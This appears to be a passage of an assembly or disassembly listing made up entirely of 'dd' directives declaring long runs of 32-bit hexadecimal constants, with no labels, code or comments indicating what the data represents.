		dd 8FECFE0h, 547D9327h,	2B909889h, 5F5CF889h, 58C614CCh
		dd 41D297E1h, 0BE15F016h, 0D3E91D41h, 87DA4AAh,	6007FCC1h
		dd 3630168Bh, 0C8123C09h, 0B910E916h, 0E2F70FB8h, 75DF09D4h
		dd 35493318h, 5685A4B5h, 55886CFAh, 212FE8B8h, 0A62251C7h
		dd 3CA710FCh, 1F362B9h,	561083CEh, 5E0D2754h, 5DE9CFB0h
		dd 8148E14Ch, 611C7D6Bh, 0C75A969Ch, 30595E31h,	205568D2h
		dd 4FB2F3B1h, 0D5A6FF58h, 1D90815Fh, 276B683Ch,	44C789Ah
		dd 80D7925h, 27B8309h, 746104B0h, 0D8F76901h, 0F896E957h
		dd 1A993CBAh, 14150B86h, 0BE0C40EEh, 6B5B0980h,	0E400D8BEh
		dd 0E96E0355h, 4848BAB3h, 8A5FF25Dh, 25C1160Fh,	0BE9FA8B3h
		dd 566C0FAh, 7C09271Ah,	0C22D9C9Ch, 9402ABABh, 0FDE92DB4h
		dd 88B91E00h, 1A13FB65h, 85CDCB29h, 6BB242A9h, 1B09C058h
		dd 7561110Ch, 0EE19E91Ch, 0EB0C7901h, 18715A6Eh, 0B42DCF6h
		dd 1145AE4h, 0F25A9114h, 2B5FFD01h, 3E150E2Dh, 0F5A504ABh
		dd 8939EB13h, 0E7D1B305h, 0B222F329h, 1C0AD725h, 6CD6C9FAh
		dd 71A4D292h, 63D70BC2h, 57DC5509h, 0AC99B113h,	41F2E830h
		dd 9C953F9Dh, 0E50D61FBh, 0E97A602Bh, 13986C49h, 4E05851h
		dd 0CC461280h, 5A56BF1Ch, 2B7FB00Eh, 8A43A90Ch,	2D8350F9h
		dd 99D71F38h, 0E6F0C801h, 0EBD39923h, 0CEC0627Ch, 0CB279DE9h
		dd 0C1DEC311h, 1F25FCA5h, 84CBC987h, 9AE1F727h,	0C44670B6h
		dd 31BD2917h, 38D30706h, 65C3775Dh, 0C429898Fh,	91786D5h
		dd 5BF2FA95h, 0AC9F1358h, 5AE9B855h, 0B84C5C8h,	0C5CC03FFh
		dd 209F8EE6h, 98169329h, 8C1A951Dh, 136BF500h, 0A8C93FFAh
		dd 0D05DC81Bh, 0EA77B2F1h, 6E299D05h, 73C54D8Fh, 2D22F9DCh
		dd 0D3641902h, 39AD4A2Eh, 1F7AAD92h, 0D0466C1Bh, 17AECFEEh
		dd 59C491F9h, 3FE61383h, 68D9714Eh, 0BFA33ADBh,	9082445Eh
		dd 8F817402h, 3326B5DAh, 1A40BA02h, 9D617CE1h, 0DF633205h
		dd 8B401E12h, 0E34BC9BDh, 10F9005h, 22907D50h, 62AEC3E9h
		dd 0EA71054Ah, 33D7EBBFh, 9227F649h, 0F1C100F9h, 1576C4D0h
		dd 35670500h, 322D3614h, 6875095Dh, 9F50A2E9h, 988AB43Bh
		dd 4EE337E1h, 9ED18340h, 83A22848h, 0D920478Fh,	6638B22Bh
		dd 3B3916C0h, 0ED068154h, 7387977h, 20015E0Ch, 0FD4066F4h
		dd 0FCE9B209h, 9205383h, 86B153E8h, 0FD222509h,	5463DDAEh
		dd 1C68EFBEh, 439D4149h, 0F8070287h, 0F782E501h, 1273D249h
		dd 4913D75h, 138A4B1Eh,	38D44DECh, 7E13F2Ah, 301EC680h
		dd 33CFA3F7h, 0E50CC376h, 6035AC51h, 4C8013BFh,	1204BBA3h
		dd 83A31CD8h, 0B041EC4Bh
		dd 0A8A6F7E9h, 1367EDDCh, 0C03B5745h, 0F65E5CC4h, 98E96109h
		dd 50816BF1h, 0F7EBD742h, 0E7D914A5h, 28BF6E88h, 0B233EE6Eh
		dd 505A4C2Ch, 915D9309h, 0DA3A4483h, 6BE3B05h, 78E8495Eh
		dd 0B70D7D04h, 0DCCA8045h, 6B4EC94Ah, 0EE29B381h, 0B006A61h
		dd 4F38685Dh, 0BFC5300Ch, 424EBE12h, 0FDE10701h, 0C2FBDE68h
		dd 0E4AC61D9h, 0E873D93Ah, 43D60FF0h, 0F082DA1Ah, 3C939EF7h
		dd 295E1DBh, 91545A0Ah,	24B8DC53h, 0A31DAF84h, 875516E3h
		dd 312CF4B7h, 0B6C5969Bh, 0FEED2593h, 245D6585h, 49FC89D9h
		dd 0D3896E59h, 1400242h, 23605168h, 860278F2h, 0E96BF537h
		dd 0E655E76h, 28E9D529h, 0B0004950h, 9DB7533Fh,	0EC77CF80h
		dd 245401F6h, 0EFC05B01h, 0F3F7F005h, 79FD5A1h,	0D8FE8209h
		dd 515D0209h, 0A96EB5FBh, 95B1F8F8h, 8CA452CDh,	60B8508Fh
		dd 2D15DA6Ch, 530BD67Fh, 2DB8CB32h, 0B83E9002h,	45C42F1Eh
		dd 804EE4Ah, 2462EF59h,	3A65D092h, 4CA8ABBh, 0E2936767h
		dd 5A5713EAh, 0DD200EACh, 6698B612h, 0A1281FE0h, 0EB698AB8h
		dd 5BE90206h, 0C578D133h, 20646C9Fh, 9501E4D7h,	737AE581h
		dd 76202179h, 27C6E88Ch, 0C562999h, 25FC4425h, 57CDAF4h
		dd 0A53D45E9h, 68845A09h, 0F192E4D5h, 75213914h, 328D13BCh
		dd 41E161B4h, 0F4E8310Eh, 2976B21Ah, 4476CE07h,	60A42CEBh
		dd 5F1D3BFCh, 1996CD41h, 2889F430h, 9266D024h, 0F910B409h
		dd 6E06823Eh, 0CE105D53h, 0C480801Bh, 0EE0FB273h, 0A6E62843h
		dd 0B45EA994h, 0E7825648h, 80F529D7h, 0AF4AC42Bh, 0FEDEDE62h
		dd 137B7C12h, 0F8ACD330h, 0B130BFBBh, 73A88A81h, 0C46B4B13h
		dd 5A070239h, 0F882EBC1h, 2B568620h, 152D5C40h,	2FEA1D38h
		dd 59038248h, 5460661Ah, 5509C3A5h, 4D031D2h, 4DADD3B3h
		dd 5FD3E22Ah, 50A2E654h, 7B18137Eh, 430C3DB6h, 6C820D70h
		dd 5EEC101h, 14021008h,	459A6A62h, 0D9C9C3E2h, 0E008AD4Ah
		dd 48792E2Eh, 0D11CC966h, 58F1D85Ah, 0D84E27B9h, 0CEC55712h
		dd 0F7A06CF8h, 899E57D7h, 91C5149h, 646269E9h, 812FCD57h
		dd 2963BBBFh, 28DFC97Fh, 4AFCB4D0h, 9CAF5017h, 46276877h
		dd 25E3C65Bh, 30546702h, 0C96560CFh, 12702D17h,	0FFEC660Fh
		dd 18BB7F00h, 1C5C327Fh, 0D2E9EB31h, 2B8979CFh,	646809F1h
		dd 925AE9C4h, 0C9755EDFh, 45982156h, 0D268B689h, 3BA55902h
		dd 0EECD315Dh, 5186BCB0h, 795C0287h, 87784B24h,	82525331h
		dd 6AC05662h, 0F62520E9h, 0B661595Ah, 8000F8A1h, 0EBE62AC3h
		dd 2F0CE364h, 1350A5CBh, 4847B074h, 5702D863h, 46278C1Bh
		dd 0A612FB41h, 0E41BAFFFh, 8C24E16Dh, 47C50CAFh, 20A4B324h
		dd 52D588C1h, 0F020EACDh, 0FEEDB238h, 0E0C017C8h, 92460407h
		dd 0B4A812DBh, 0ADD8681Ch, 77E2EEC6h, 4A7D621Bh, 4A0F8EA8h
		dd 6F08B031h, 0A0531F40h, 0E42C8CF9h, 5E60901Eh, 58B8D8BBh
		dd 2F9E2D06h, 2C177Dh, 1E2C2589h, 0C15C035h, 0F0314E04h
		dd 14B43BE9h, 0F2594BCFh, 0B268C250h, 919ADD3Bh, 0FDF84B4Ah
		dd 0CE5DE975h, 2D1D4F00h, 30F30506h, 3E03310h, 181F0609h
		dd 2912FD5Bh, 65135ABCh, 0ECDAA442h, 0DD856B3Ch, 2E680A19h
		dd 0C4698C12h, 6D13736h, 52CA6C35h, 2FEC1650h, 612D3258h
		dd 7F4C6218h, 0EEF13C20h, 0FCA49ACCh, 252DE4ADh, 74896475h
		dd 8351885Eh, 49045ECEh, 0BE66CD20h, 5CC316C3h,	2F5541C6h
		dd 0E4C6B454h, 0C1330DEh, 836035ABh, 9C73D8AEh,	54B41518h
		dd 62026D40h, 29D6283Ah, 8067B700h, 0E1A85EE7h,	91C7D8A7h
		dd 1CBDE913h, 0ABD29AA3h, 21A7D04Bh, 58C201B6h,	72988FBDh
		dd 6CCA3B27h, 317B4BE0h, 6B17062Eh, 69027288h, 31BC9800h
		dd 8103474Ah, 646F2DE2h, 87EAB06Dh, 6B84307Eh, 0D4E3418h
		dd 0E04A0F27h, 3825C2BEh, 0E9930902h, 0C3C1D28Eh, 41D284DCh
		dd 317A5E5Bh, 4E31A93h,	0BEFBCC07h, 3250894Bh, 0F81D6308h
		dd 0FE1FF5BAh, 9FD258F7h, 0AFB91F7Bh, 0CA31CFF2h, 2B055989h
		dd 1009E2D3h, 3262386Ch, 1257564Ah, 3720F718h, 163D6CC2h
		dd 2CF22E76h, 0D509D113h, 521116AAh, 925DB2A7h,	0C92FFF39h
		dd 0DDE02EE4h, 0CC7C5EF6h, 9DB05E78h, 6A29EB0Bh, 0A5B7F68Eh
		dd 0C7203FD0h, 0A259612Fh, 605435E5h, 0E16AEE75h, 5E16620Dh
		dd 0D1892FBDh, 982F53C5h, 5D5E684Dh, 7C80EE44h,	0E912C83Ah
		dd 8734ED24h, 895C2A7h,	0A24499A1h, 7FC47EECh, 0FB6800D4h
		dd 0F474D01Ch, 533DBAFEh, 55C8553h, 0C8DB6F3Bh,	1DF25695h
		dd 0DE804058h, 0D5E11517h, 0F978297Eh, 12052EEAh, 91D0F1B2h
		dd 5E34685Ah, 3391CC11h, 7ED6F626h, 569BE90Bh, 0D0CF8FEEh
		dd 0D14D1940h, 0DF1A87EFh, 7508DBF7h, 0B99F7263h, 0BDC78B02h
		dd 2C128E5Ah, 5D0BAE6Eh, 0AEB85C80h, 0D0ECC46Dh, 74E5681Bh
		dd 9B3C6C9Dh, 3222441h,	455D7940h, 6EFFEDE0h, 0E96C660Dh
		dd 0CD2FF101h, 486E66F1h, 16104EBEh, 105989A6h,	4FBF0F26h
		dd 100ADC8h, 30E36852h,	0F02F1D25h, 3418905Eh, 0F0C213Eh
		dd 0A1ABFCD8h, 0BD28BB8Ah, 31C39A98h, 0B7A03AE0h, 7A342A20h
		dd 0B7B178F9h, 41F5FE0Ch, 2C5FE5FEh, 0CB09A5C6h, 0CBD202D8h
		dd 42E46217h, 0F4CD90A2h, 0D022C96Fh, 0B94CBF13h, 5AD2444Bh
		dd 299568ECh, 6932579h,	76008F95h, 0FB69879h, 31F75C31h
		dd 4A2A8B4Eh, 5CCB05BCh, 4D626759h, 6540079Ah, 0C25994A0h
		dd 0E9EA3319h, 0A30FD182h, 2288AE54h, 0B20B2D7Bh, 0E978A57Ch
		dd 3D414A02h, 5AF689AFh, 0C7A7D52Dh, 0FAB165E9h, 0EDCB4773h
		dd 4DBB38EFh, 0B4589C40h, 1BFAC339h, 0B7297F13h, 824E8A9h
		dd 0A559AD88h, 555DEE42h, 2D063094h, 31A5076Ch,	2BEF12D2h
		dd 7C9E0460h, 903FACCCh, 0FEF54B27h, 81F0853Eh,	6B7AE361h
		dd 34BF8E29h, 0AD0E8316h, 11450084h, 0F3811B4Eh, 0D84A268Fh
		dd 0E10F166Eh, 689C18E9h, 0DB7E7331h, 0A207B98Bh, 0DC56751Ch
		dd 0FCA8A365h, 0E4314B3Bh, 0F7C73127h, 494A18E2h, 5B9D27Eh
		dd 11D66840h, 421030BAh, 0FE05D9F6h, 0A4FDE9C1h, 0DA623FA3h
		dd 5C04E55Dh, 902723EEh, 5B285D5Bh, 3A2E41FCh, 277ED3CAh
		dd 7BD405C3h, 7FF977E2h, 10984691h, 0E40999EFh,	0D357778Dh
		dd 4127E58Ah, 81EBCD1Ch, 0D5ACC629h, 0C56E97D8h, 3428AF46h
		dd 51D744E9h, 2373B902h, 78411B13h, 0E1C104D0h,	0C44F442Ah
		dd 0D18EE8F7h, 57551FF8h, 0C8525B52h, 0CF14D2F8h, 48013F97h
		dd 1294977h, 0CF21CEh, 0FA3EE908h, 0F029E4B5h, 0ADDD56B1h
		dd 0A8D2A552h, 4EFD22Bh, 0AC3183h, 215D5E55h, 8D789CF1h
		dd 46290754h, 36093A20h, 7C60C640h, 0FD2D1709h,	47E909ADh
		dd 62DBFCC3h, 36D6A93Ch, 0B43DE9D8h, 656525C6h,	0EB753025h
		dd 0F05BC48Ah, 402FFD05h, 611E3AB4h, 0A3C034B4h, 294C247Eh
		dd 72D51C8h, 28CB02h, 6856E389h, 186EB62Dh, 2F67441Fh
		dd 78611BA2h, 0A27FDAE9h, 55D6B056h, 4884EEAFh,	0E11FFCAEh
		dd 105F757h, 1336E743h,	84636044h, 6DF49D4Bh, 0B9F64AEFh
		dd 5ED2DE91h, 0CA7BB5F1h, 54ED92BCh, 0A367BAD3h, 2C0178A4h
		dd 0D1E8D02Ah, 96F13B83h, 2ECD8FDh, 65B12451h, 758F112Ah
		dd 834A671Fh, 93F702BBh, 0F4A16CD6h, 87D112A0h,	2661091Dh
		dd 50A62EAFh, 85081921h, 31B901C9h, 2537EB29h, 5365EC78h
		dd 2533CB58h, 96DAEE07h, 9FC92DABh, 55B834D5h, 6DE18DB7h
		dd 0EDCE042Fh, 0B73CC297h, 2B5F0F89h, 68836089h, 0BD9944Ah
		dd 0B52062E9h, 87C68059h
		dd 7EF6F0FEh, 0F925AC94h, 2E0CEDAEh, 612973D2h,	0B135CA68h
		dd 9902C2Ah, 850FDB04h,	94D1ABCBh, 81886761h, 7427F42Dh
		dd 7FB1029Ah, 32C01F34h, 0C12DEA83h, 0E1EF8879h, 7253F425h
		dd 0E92F687Fh, 0B7116066h, 7D3F3DCEh, 6C1E325Ch, 0F8ED182Bh
		dd 70F51C51h, 20ACE429h, 0EE872708h, 0BFFD6C60h, 0E9898209h
		dd 0F1BD42BDh, 98344ABh, 6922D921h, 92B80277h, 7042093Ch
		dd 4D347EFAh, 0DBFEEE77h, 30921B9Dh, 68F2096Bh,	8CDB23F2h
		dd 0E46FD124h, 0CBAA1949h, 6F454E50h, 77ECE6A4h, 24887FCBh
		dd 116882EFh, 96573E71h, 9E92F65h, 0A35C4E0Bh, 9A17AC2h
		dd 0D8F489CAh, 3A2CDE9Dh, 9C6DB981h, 3F43574h, 0F8144F71h
		dd 81100F5Fh, 18019277h, 0E7C14F58h, 1D48C02Eh,	300BE45Eh
		dd 0CECC10E9h, 61F7F688h, 0E2C116D7h, 58C22F06h, 0DCA3892Dh
		dd 0D9EB010Ch, 0D83B0A7Ah, 2018E1CBh, 7E1851B3h, 67DB2C4Dh
		dd 306E03E8h, 0C0913FAh, 63D1DE5Fh, 8239A0FEh, 10016451h
		dd 895B20EAh, 5394D0h, 7AE7069Dh, 5604C201h, 11392BBEh
		dd 0FD01ACF8h, 0E937CA34h, 6E57E61Eh, 0B240B5D3h, 0DA829395h
		dd 438E19D6h, 74583415h, 0A5002511h, 2D52AD5Fh,	60417957h
		dd 4BD06A0Dh, 29B7248Dh, 0DBE4A3AFh, 0B83600B6h, 14F40699h
		dd 0B52F3540h, 2F95C32h, 0EEC158C6h, 0CF985463h, 340C7A2Dh
		dd 961A23E9h, 9709585Dh, 47F4BE26h, 92ECF2E5h, 0A881625Eh
		dd 2953C9B4h, 0E3D1F512h, 0D4A342ADh, 77C820B6h, 5B7F243Ch
		dd 78F301E3h, 48C056h, 12D2677h, 40BA526Dh, 3EB39F0Bh
		dd 0AC0B9AE2h, 0DFC63C68h, 0A4117FCh, 0E32E55F5h, 54BE3862h
		dd 11B709ABh, 0F42A5EF8h, 8B9D4949h, 8436292Ah,	640FC725h
		dd 8F06326Fh, 0C35FDF75h, 0E15F7DD3h, 0CC2ACAA0h, 0BD9A79C4h
		dd 46035A78h, 88520434h, 0DFF592C6h, 0C25A9CB0h, 58FCC783h
		dd 6AB309E6h, 0E30413D9h, 3774EA2Eh, 1C6964A0h,	8B4D458Ah
		dd 2484DDF7h, 0B0B9007Ah, 587B3411h, 0CA4C4301h, 8620824Ch
		dd 3FBAE6A1h, 0CC5E100Bh, 0E1C7052Dh, 0C023747h, 0F1170DE2h
		dd 0ECF1304Bh, 5AAEC405h, 22D7FEB7h, 0D830E9C3h, 1C8B25A1h
		dd 0FED1CC5Ch, 0ED105D62h, 6EBE0274h, 9035E80Fh, 817EB9B7h
		dd 37FEE31h, 0BD54320h,	11EE8012h, 0F1F7B2F8h, 0FA9364E8h
		dd 0B52850B5h, 80696059h, 0C1800CBDh, 90C9E658h, 0B2272456h
		dd 0E7626EA2h, 6BC06850h, 581F7DEEh, 0E9C4C083h, 31AEA81Dh
		dd 0F3A47678h, 2CE54ECh, 4A691E2Dh, 3932D831h, 0B35270E9h
		dd 4F60AF27h, 309DF828h, 0C0ABFC82h, 431286FFh,	0DCE35644h
		dd 0EF7231C1h, 2849949Eh, 7E3C0C1Bh, 264E0AB0h,	0B5AD9495h
		dd 16535D1Fh, 5CA5C2F9h, 6A0C5341h, 2C3AD58Ah, 6E5044CFh
		dd 0E28EAFDh, 29D409E6h, 4710462Bh, 5DA001EEh, 68952AACh
		dd 3D415690h, 949350BBh, 2540F97Fh, 2DAEC905h, 0BCB8532Eh
		dd 567C0610h, 180C46B8h, 18DF74F7h, 13105AEBh, 880F1417h
		dd 0F5934A0Dh, 1C08067Bh, 0E5148Bh, 68525720h, 0D12D651Fh
		dd 6008D10Ah, 693363F2h, 94884C4Fh, 877D49E9h, 4B176813h
		dd 42D65421h, 0A6E535Ah, 26066855h, 1CEF00F2h, 2932A51Bh
		dd 82AA0EDh, 534EE9FEh,	5EBE0800h, 2408667Fh, 2DEDEF7h
		dd 121B678Bh, 0D4514275h, 0A9AC3AB8h, 0BCD0132Bh, 0B5B896A9h
		dd 85442ADh, 3E096F6Ch,	7F22FC1Bh, 58505282h, 35D62461h
		dd 7FD801CAh, 0D2787CE6h, 7AC05849h, 0B3405F7Eh, 0D3AB4208h
		dd 0C072F6CDh, 0E91A523Bh, 34695D0Ch, 1CB53E2Dh, 492CD0F5h
		dd 2C47DC5Bh, 0BB618082h, 50E533B5h, 14C7F21Ch,	0FE30E15Ah
		dd 0DF435700h, 0A316E94Ch, 25825AB4h, 4817554Bh, 9D5E0898h
		dd 6F570969h, 0E90B009Bh, 0BFFC3286h, 0E85FED93h, 3C4D44DFh
		dd 2D6E0E80h, 0A2883E85h, 90E9138Eh, 858A942Dh,	3EDCA198h
		dd 77BDF357h, 0B114EBF2h, 672302BDh, 42E06940h,	0DB792AF9h
		dd 14F50CC1h, 0E3F0368Eh, 0EA420259h, 6BE9430Fh, 7925845Eh
		dd 43D2E985h, 66812575h, 26058AA0h, 17F8FCF3h, 2D8E43B0h
		dd 0BEA2CBBh, 6782C881h, 0D86A707Ch, 0F1CE925h,	0F5AB81B2h
		dd 43BA03Ch, 0F2D403A6h, 6DF0968Bh, 0E928407Ah,	8884292Ch
		dd 2C093197h, 0F4A48921h, 333FC253h, 4A530500h,	0AA3E4CDBh
		dd 0D1B57B20h, 71CE08DDh, 0F7915900h, 0ED5051D0h, 0C17C1E60h
		dd 0E767EE89h, 0A5D9D794h, 3E416E90h, 212575DBh, 3BD16030h
		dd 81073A1Bh, 7C7C2ACAh, 29564882h, 9D611ECBh, 0DC1F32CAh
		dd 73BFC0AFh, 770E3E03h, 0F12C5E98h, 71F055E6h,	0EA85C860h
		dd 1ADA56B3h, 0B6F20179h, 0BE5C9ACAh, 2EFA494Fh, 281FC5DEh
		dd 9C305383h, 0E941D8EEh, 10B00E2Eh, 9CACFFA8h,	11E33A97h
		dd 91563DF6h, 4A72A096h, 4DB380BEh, 0D2AA49FEh,	3006B45Dh
		dd 0EB173091h, 6F484750h, 0BF9F12BEh, 0A6233ABh, 3E356748h
		dd 0FEFB92F9h, 0E883FC44h, 285399BFh, 558B963Bh, 0FE42110h
		dd 93FF380h, 5F1778B7h,	9033695Ch, 5A138490h, 1356A220h
		dd 0FDE996BFh, 82BD3A22h, 6A0B5965h, 0F4DF89F6h, 0C84625E3h
		dd 2E2930BFh, 3C129A03h, 9717E0B2h, 400022D5h, 0BCEAF585h
		dd 0F74282BCh, 680075DAh, 916F55Bh, 0A4E4F24Dh,	0F651C381h
		dd 9EDA5D02h, 0E208C591h, 0CFDA2F32h, 72CC682Fh, 0D6472619h
		dd 0F75B9334h, 38BC14Bh, 673863E9h, 8864BE78h, 5200702Eh
		dd 0F58889B6h, 0E8E05Ah, 0B7535966h, 0BFE780F4h, 0B1E3E92Ah
		dd 0C2C2C39Fh, 43CCA409h, 308867AEh, 0C1138F0Fh, 8105E201h
		dd 2066E4C2h, 398B0CBCh, 0DAF4141Ah, 8901A10Bh,	662F000Dh
		dd 96768D74h, 3AC301BFh, 0BE183D03h, 37BA9C0Ch,	20FB7AA5h
		dd 303BADACh, 8C4299D7h, 0B832CE99h, 0B80321C9h, 241BCD2Dh
		dd 0CB04D9F7h, 58F9009Dh, 9316851h, 59261714h, 0E7021441h
		dd 52BBF8CAh, 582DEC9Bh, 8062A74Bh, 8B562EADh, 80835A9h
		dd 25542594h, 4A31E978h, 0E562E91Bh, 3588BAAh, 3074DCBFh
		dd 0D84E3561h, 4F30EC0Dh, 62B0CE35h, 30033433h,	103A841Eh
		dd 0CF20DE08h, 8049B701h, 0F828FAF7h, 2C398C6Fh, 0D1683F12h
		dd 77D4ADA8h, 0BCF47225h, 0D9F60F07h, 0C9FED120h, 0CFFC60E9h
		dd 0B545F581h, 93CF193Dh, 0FF3CB9C8h, 4ACEAA58h, 6880B064h
		dd 317A4BBCh, 2F8774D7h, 1F8675Dh, 0C15C2E77h, 1BFC08E1h
		dd 17649DDAh, 92413998h, 718C2623h, 6CEC5C0Bh, 0F997085Fh
		dd 0CEC85BD4h, 426A94C1h, 0D1F42F41h, 5280574Bh, 1DF61EB4h
		dd 62022579h, 87E96BB3h, 13B4C6D8h, 0AC556A68h,	79FC1B8h
		dd 42866713h, 2ECBBEE9h, 28F6419h, 0C3906EE0h, 0B7BF101Ch
		dd 0D410CF48h, 0CA0338F1h, 0B075CF44h, 0B8BAEF41h, 0E3D7FE62h
		dd 5639F2B5h, 2AF12F4Ch, 0C48208CDh, 45123BA1h,	7954CBE0h
		dd 88180083h, 356AAD2Fh, 0A225FAB2h, 8096C2B4h,	0E032EA27h
		dd 6857003Ch, 26B00B8Ch, 3B9E50E9h, 0C86153Dh, 7356189Bh
		dd 18D2E585h, 0C558E5Fh, 6A067EF9h, 4EDC11Fh, 56A20170h
		dd 30E90C3Ch, 0CFA92C73h, 0E2D250D8h, 1A1E1169h, 7F2C102h
		dd 4C76580Eh, 30BF08A0h, 0B8C1383Dh, 816DE60Dh,	121CB2FEh
		dd 8C622BB8h, 5E14CC57h, 0E208E154h, 856F22FDh,	0B3A07FC6h
		dd 53B76D3Dh, 0BF1CE4BFh, 0E917EFBEh, 0ECEDB253h, 1F38CD84h
		dd 69754F89h, 0A52B31CFh, 0FB3C3139h, 89001892h, 4B3A68E2h
		dd 0C5DEE853h, 6AF987E7h, 9C38F079h, 0DD310F00h, 0E3C743E6h
		dd 799D5BEEh, 0A93CC78Bh
		dd 0FCC61CB1h, 1C178456h, 9810FE01h, 5EB14C08h,	76AF5C2Dh
		dd 2A0595C1h, 0F0D3BFA2h, 6FFD8763h, 1AC32B8Dh,	3F99E921h
		dd 4E0850DEh, 771028D5h, 2AC4243Dh, 518411B1h, 2FD0CD74h
		dd 0D9D0D5Fh, 5823C6EDh, 2D7C8153h, 99D493B3h, 0E9130973h
		dd 1968A0A9h, 73003D4Dh, 61CE8170h, 60281605h, 103E8646h
		dd 8EA07D34h, 0DB7D5A69h, 0B822976h, 31540508h,	12230AC8h
		dd 9CAF280h, 6D6AB662h,	9DF604A3h, 6A4F757Fh, 535AA500h
		dd 5AFE3AB3h, 60CCA8CBh, 7C8EB922h, 7727488Dh, 0A6952209h
		dd 8A04CC5Ch, 0E5C14C3Bh, 23660703h, 149FA74Ah,	80A7B355h
		dd 6F1B7BDAh, 1644032Dh, 0D0F7061Ch, 2DFC0458h,	42E159B2h
		dd 57D6B1D8h, 2A2068C1h, 21B05307h, 0C240297Ah,	1DC53980h
		dd 0AFD6EB96h, 3D71885Dh, 6E3C7EE9h, 0FC048313h, 0B468E067h
		dd 60599C6Ah, 0E620B93h, 294AE973h, 0C4FA4774h,	7ECBBEA4h
		dd 0FD409C2Dh, 7F00F635h, 5F254496h, 166AE123h,	0E0D2E948h
		dd 0A50ABFB3h, 0AD715E81h, 977C1A3Eh, 82A51F3h,	20316BA4h
		dd 412B0BD5h, 53445F26h, 94CF406Fh, 73600166h, 7E68E50Ch
		dd 44E6902Dh, 5848C5FEh, 0F1F7E1C0h, 91A25D30h,	0B8C13161h
		dd 74FE04A7h, 163A82ECh, 7EF45FD8h, 570838B9h, 14CB8190h
		dd 7056D621h, 677E5C96h, 0EB1C157Ch, 9E053E5Dh,	0F699D831h
		dd 8240F225h, 1627426Ch, 0F5C3E97Eh, 0A84821CDh, 0E1674C1Eh
		dd 0AB72E8CFh, 4B5BC6DCh, 7B33675Ch, 0A938AF2Ch, 1466BC40h
		dd 95160E2Dh, 5B5C83Bh,	0DE2CFB0Eh, 27B8FE50h, 88C854D8h
		dd 716146E9h, 0CCB60F47h, 4A9268F4h, 0B246A565h, 82515819h
		dd 3CBE1DBh, 407D6F6h, 8006EEC0h, 0F7889931h, 47DCB46Ch
		dd 7692CCEh, 0BC9D7EF8h, 5182D948h, 4FCA6FE9h, 8002A0D7h
		dd 241B4E28h, 1453EF2Dh, 6852A265h, 0A9BB53C1h,	11A02E02h
		dd 5819CE70h, 63D059CBh, 1BBB2D01h, 4B933A15h, 0F2D9EACBh
		dd 0F4ED0091h, 11A7918h, 0BF9056D5h, 694B660Bh,	9FFA6664h
		dd 210F5C41h, 8CE26BEDh, 8DB8804Ah, 757C3F1Bh, 44AF7F27h
		dd 8E69578h, 18D03349h,	0E17BA1E7h, 7D3B4CC7h, 0DFBD5C61h
		dd 84FA47ABh, 18909C9h,	5A595219h, 0CC053D60h, 0D5560606h
		dd 13F56324h, 0DE59CE09h, 0E28B518Eh, 0B3DF5D89h, 68153EC1h
		dd 0DF460BADh, 0C4B44FF4h, 613B5BD1h, 2A5AD3F8h, 1588E3E3h
		dd 537C2E30h, 81210DDCh, 3B0D78F2h, 80A16653h, 1FE5F2DEh
		dd 4F6A3DE7h, 0AC8B4F64h, 0AA2940A5h, 0D41AD60h, 0D8EDA17Ah
		dd 0FB30FE3Dh, 694CF16Ch, 0BFEC6C5Ah, 5D3E0070h, 5BDA3531h
		dd 405061AAh, 6881D2FAh, 67BDF6C2h, 6BAA925Bh, 1DF3B357h
		dd 4371A556h, 42D2F76Ch, 0A0CC0666h, 24559817h,	16A454F6h
		dd 1322C401h, 19D70908h, 5F830F7h, 0B9F1837Bh, 300A8422h
		dd 0EFF59ECh, 269C023h,	2855E681h, 0F0F12ADEh, 50E3207Fh
		dd 249834B0h, 0C84F243Ah, 84162799h, 2E91867Eh,	0D13F10A8h
		dd 6AAC95DDh, 5A01A3DCh, 108AED5Ch, 58641CB8h, 25BBC7CDh
		dd 0E938FAADh, 0CA6B9754h, 0AD04B8BAh, 7D6870C1h, 57C05E2Ch
		dd 0A94BF2BFh, 4CB92F02h, 7F4F0DC2h, 2726D8Ah, 101F9D53h
		dd 70F2AE80h, 0DF9C49DEh, 0DE0C5712h, 0BE2877CBh, 68998854h
		dd 39F05813h, 1B639FECh, 61E9DAEAh, 0C0552456h,	1CB64508h
		dd 1307205Dh, 0AB5AD529h, 79055761h, 0E5DAE504h, 6AB33512h
		dd 883BA32Dh, 0B140ED27h, 2E23CC1h, 0D4C1D627h,	1A68D4F7h
		dd 58EF5354h, 0D4B81F4Ah, 0A35B49DEh, 594BAAD9h, 0CAE962CDh
		dd 0C1B53C58h, 0FD048305h, 12624FB2h, 9615825h,	9058F0Dh
		dd 0D1797325h, 7D5A5E18h, 0F00868E2h, 9874E410h, 0C770972Dh
		dd 5964A791h, 0DF647BF1h, 80E8D252h, 4C8CBD9Dh,	44164Ch
		dd 0F58108EDh, 767910EBh, 980F246h, 89070ACBh, 3AD9AA41h
		dd 0FE64CE09h, 0F27A62Ch, 73C94265h, 1CCEEE2h, 1267A320h
		dd 9F8015Ah, 72689608h,	1501CBC6h, 6858632Ch, 0B66E2DDCh
		dd 6EB4272Fh, 0A880C8ECh, 67783501h, 0E6F1759h,	0B261813Fh
		dd 825ABF04h, 3DE903CAh, 0ED65D7A9h, 7708ADA6h,	9EF02FCBh
		dd 0EA80634Fh, 1E8B6857h, 0D670BB44h, 85F081C1h, 0C6CC88C8h
		dd 71BD0172h, 6A301125h, 0A2F6D91h, 3401543Dh, 11FEE74h
		dd 1A95E3C7h, 5541C08h,	16875889h, 2900974Bh, 5F7631BBh
		dd 0BD555E01h, 74096CD8h, 0F0BE173Eh, 77139E76h, 280431D3h
		dd 0B6ADF021h, 990A2CEh, 390F3068h, 146FD6E5h, 0E735DCA0h
		dd 5B88AA26h, 0C87A2626h, 6D1F0BC5h, 173D1953h,	0DF4E3BAh
		dd 8BEC975Ah, 6FFDE7FEh, 66B2F777h, 25AF0A07h, 781E5C80h
		dd 29313D97h, 28956AC2h, 3F125966h, 7C638C34h, 0C472A16h
		dd 4FE61725h, 0F3EEC878h, 1D2F4428h, 0A28AF72h,	621FDB50h
		dd 0E5C11260h, 2FEBB002h, 255E9740h, 30A2D989h,	0CE759173h
		dd 0B10DF68Bh, 312A0831h, 0AC0F2A3Dh, 493C8825h, 45F153FEh
		dd 59017538h, 0EE2BA92Dh, 7DA1D414h, 7412D12Dh,	0EB072079h
		dd 0AFE91141h, 0C24E1A28h, 5C70015Eh, 0CDFE5A1Fh, 0D3C534D2h
		dd 9A0BEECh, 0DDA2E9C0h, 0C4A7FC5Eh, 3EA88C5h, 5BA1822h
